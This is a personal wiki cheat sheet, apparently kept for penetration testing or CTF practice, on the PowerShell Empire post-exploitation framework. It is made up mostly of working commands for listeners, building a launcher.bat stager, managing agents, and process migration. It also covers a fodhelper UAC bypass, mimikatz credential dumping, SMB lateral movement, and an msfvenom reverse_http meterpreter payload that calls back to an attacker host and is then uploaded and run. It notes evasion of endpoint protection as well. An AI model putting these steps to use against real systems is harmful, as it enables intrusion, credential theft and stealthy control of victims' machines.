Wiki : ./Security/Frameworks/empire.md

#postExploitation

Insallation

cd /opt
sudo git clone https://github.com/PowerShellEmpire/Empire.git
cd Empire
sudo ./setup/install.sh

Listener

Listeners in Empire are the channels that receive connections from our target machine. Before we do anything in Empire, we need to start the listeners. We can move to the listener management menu by typing command listeners as shown below.

It is basically the same as the multi/handler listener in [[metasploit]].

(Empire) > listeners

(Empire: listeners) > help

  • agents - Will allow you to jump to agents menu.
  • back & main – Will take you back to the main menu.
  • exit – Will exit from Empire.
  • help – Will display help menu as shown in the above image.
  • info – Will display information about the active listener.
  • kill – Will kill a particular listener.
  • launcher – Used to generate an initial launcher for a listener.
  • list – Will list all the active listeners.
  • usestager – Used to use a stager (we will see below what exactly is a stager).
  • uselistener – Used to start a listener module.
Create new listener
  • The redirector listener allows pivoting across a compromised host.
(Empire: listeners) > uselistener
dbx     http_com        http_hop
http    http_foreign    meterpreter
(Empire: listeners) > uselistener meterpreter
(Empire: listeners/meterpreter) > set DefaultDelay 60
(Empire: listeners/meterpreter) > set Name metr
(Empire: listeners/meterpreter) > set Port 4444
  • DefaultDelay attempts to simulate more legitimate HTTP traffic by setting the wait interval callback time from the compromised host to the listener. DefaultJitter makes the traffic seem less programmatically generated by setting DefaultDelay to a random offset. KillDate will self-terminate the listeners on all compromised hosts on the specified date. This is especially useful when performing cleanup after a penetration test.

Stagers

Stagers are payloads that are able to create a reverse tunnel and other means for Empire to connect to the target (just like msfvenom for metasploit)

(Empire) > usestager

multi/bash                osx/macho                 windows/launcher_bat
multi/launcher            osx/macro                 windows/launcher_lnk
multi/macro               osx/pkg                   windows/launcher_sct
multi/pyinstaller         osx/safari_launcher       windows/launcher_vbs
multi/war                 osx/teensy                windows/launcher_xml
osx/applescript           windows/backdoorLnkMacro  windows/macro
osx/application           windows/bunny             windows/macroless_msword
osx/ducky                 windows/csharp_exe        windows/shellcode
osx/dylib                 windows/dll               windows/teensy
osx/jar                   windows/ducky
osx/launcher              windows/hta
(Empire) > usestager launcher_bat
(Empire: stager/windows/launcher_bat) > set Listener metrp
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat

(Empire: stager/windows/launcher_bat) >

Agents

As soon as the stager gets executed on the victim we receive a connection back.

(Empire: agents) >  list

[*] Active agents:

 Name       Lang    Internal IP     Machine Name    Username    Process         Delay   Last Seen
 --   -    --  -   --    -         --   -
 7A9WSDPN   ps      XXXXXXXXXXXXXX  XXXXXXXXXXXXX   XXXXXXXX    powershell/4032 5/0.0   2020-03-29 09:00:44

Migration

> ps # select a process to migrate to
> psmigrate [name of the listener] [PID]

Modules

> usemodule
> usemodule [fullpath]
> ([module fullpath]) > info
  • If the NeedsAdmin field is set to "True", the script requires local Administrator permissions.
  • If the OpsecSafe field is set to "True", the script will avoid leaving behind indicators of compromise, such as temporary disk files or new user accounts. This stealth-driven approach has a greater likelihood of evading endpoint protection mechanisms.
  • The MinLanguageVersion field describes the minimum version of PowerShell required to execute the script. This is especially relevant when working with Windows 7 or Windows Server 2008 R2 targets as they ship with PowerShell version 2.
  • Background tells us if the module executes in the background without visibility for the victim, while OutputExtension tells us the output format if the module returns output to a file.

Privilege Escalation

> usemodule powershell/privesc/powerup/allchecks
> usemodule privesc/bypassuac_fodhelper # UAC bypass 
> usemodule credentials/mimikatz/logonpasswords

Lateral movements

> usemodule lateral_movement
> usemodule lateral_movement/invoke_smbexec

Switching to

[[Metasploit]] >> [[empire]]

If a machine runs an empire agent we can create a meterpreter binary with [[msfvenom]] and execute it on the host

msfvenom -p windows/meterpreter/reverse_http LHOST=[ip] lport=[port] -f exe -o met.exe

> upload /home/user/met.exe
> shell dir
> shell [fullpath]/met.exe

[[empire]] >> [[metasploit]]

> usestager windows/launcher_bat
> set listener http
> execute

> upload /tmp/launcher.bat
> shell
> dir
> launcher.bat
i4